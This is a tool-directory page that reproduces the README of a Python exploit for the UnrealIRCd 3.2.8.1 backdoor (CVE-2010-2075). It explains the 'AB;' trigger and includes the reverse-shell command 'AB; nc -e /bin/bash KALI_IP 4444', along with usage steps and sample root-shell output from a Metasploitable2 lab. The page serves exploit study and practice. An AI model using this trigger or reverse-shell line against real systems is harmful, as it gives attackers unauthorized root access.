Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2010-2075 — UnrealIRCd 3.2.8.1 backdoor exploit — reverse shell via AB; trigger, built from scratch in Python using raw sockets. No Metasploit. | Kitploit
Tools/GitHubGitHub/rushikesh-a-bhujbal/cve-2010-2075
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingSupply Chain SecurityLearning & EducationRed TeamingPayload Development
Labs & Practice
GitHubrushikesh-a-bhujbal/cve-2010-2075

CVE-2010-2075

UnrealIRCd 3.2.8.1 backdoor exploit — reverse shell via AB; trigger, built from scratch in Python using raw sockets. No Metasploit.

View Repository
111h 20m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2010-2075 — UnrealIRCd 3.2.8.1 Backdoor Exploit

Python Platform Target License


Overview

UnrealIRCd is an open-source IRC (Internet Relay Chat) server — a protocol that allows users to communicate in real-time over a network, similar to early chat platforms.

In 2009–2010, it was discovered that UnrealIRCd 3.2.8.1 distributed via the official download mirrors had been compromised. An attacker had replaced the legitimate source code with a backdoored version containing a hidden command execution trigger.

This was a supply chain attack — identical in nature to CVE-2011-2523 (vsftpd 2.3.4). The legitimate software was replaced with a maliciously modified version before users downloaded it.


How the Backdoor Works

The backdoor monitors all incoming data on port 6667. If any input begins with the string AB;, everything after it is passed — bypassing all IRC logic, authentication, and registration checks entirely.

directly to system()

The trigger fires during the connection initialization phase, before the IRC server even registers the client. No NICK, no USER, no authentication required.

Attack flow:

root@kitploit:~
Attacker (Kali)                    Target (Metasploitable2)
                                   
1. s1 connects to port 6667   
   NICK + USER handshake      →    Server sends full banner
   Read banner, check version  
   Confirm Unreal3.2.8.1      
                                   
2. Open listener on port 4444  
   (waiting for incoming shell)
                                   
3. s2 connects to port 6667   →    AB; nc -e /bin/bash KALI_IP 4444
                               →    system() executes immediately
                               →    netcat spawns bash, connects back
                                   
4. listener.accept()          ←    Incoming root shell connection
   Interactive root shell      

Reverse Shell vs Bind Shell

This exploit uses a reverse shell — the target connects back to the attacker, rather than the attacker connecting to a port on the target.

TypeDirectionUsed In
Bind shellAttacker → TargetCVE-2011-2523 (vsftpd)
Reverse shellTarget → AttackerCVE-2010-2075 (UnrealIRCd)

Reverse shells bypass inbound firewall rules — outbound connections from the target are rarely blocked.


Requirements

  • Python 3.x
  • No external libraries — standard library only
  • netcat installed on the target (present by default on Metasploitable2)
  • Target: Metasploitable2 running UnrealIRCd 3.2.8.1

Usage

root@kitploit:~
git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075

Edit main.py and set:

root@kitploit:~
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"

Run:

root@kitploit:~
python3 main.py

Example output:

root@kitploit:~
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit

Error Handling

ScenarioBehaviour
Port 6667 closedPrints "Port Closed", exits cleanly
Wrong versionPrints "Not vulnerable", exits cleanly
Target doesn't call backlistener.accept() waits (add timeout if needed)
Command produces no outputrecv() times out silently, returns to prompt

Key Difference from CVE-2011-2523

CVE-2011-2523 (vsftpd)CVE-2010-2075 (UnrealIRCd)
ProtocolFTP (port 21)IRC (port 6667)
Trigger:) in usernameAB; prefix on any input
Shell typeBind shell (port 6200)Reverse shell (attacker's port)
Connections2 outgoing1 outgoing + 1 incoming

Tested Against

  • Metasploitable2 (intentionally vulnerable VM)
  • UnrealIRCd 3.2.8.1
  • Linux metasploitable 2.6.24-16-server

Legal Disclaimer

This exploit is developed strictly for educational purposes and authorized security research only.

Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.

Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

The author accepts no responsibility for misuse of this code.


References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2010-2075
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2010-2075
  • Original Disclosure: https://www.exploit-db.com/exploits/13853
  • Metasploitable2: https://sourceforge.net/projects/metasploitable/

Author

Rushikesh Bhujbal
Security Research & Exploit Development
GitHub

Download Tool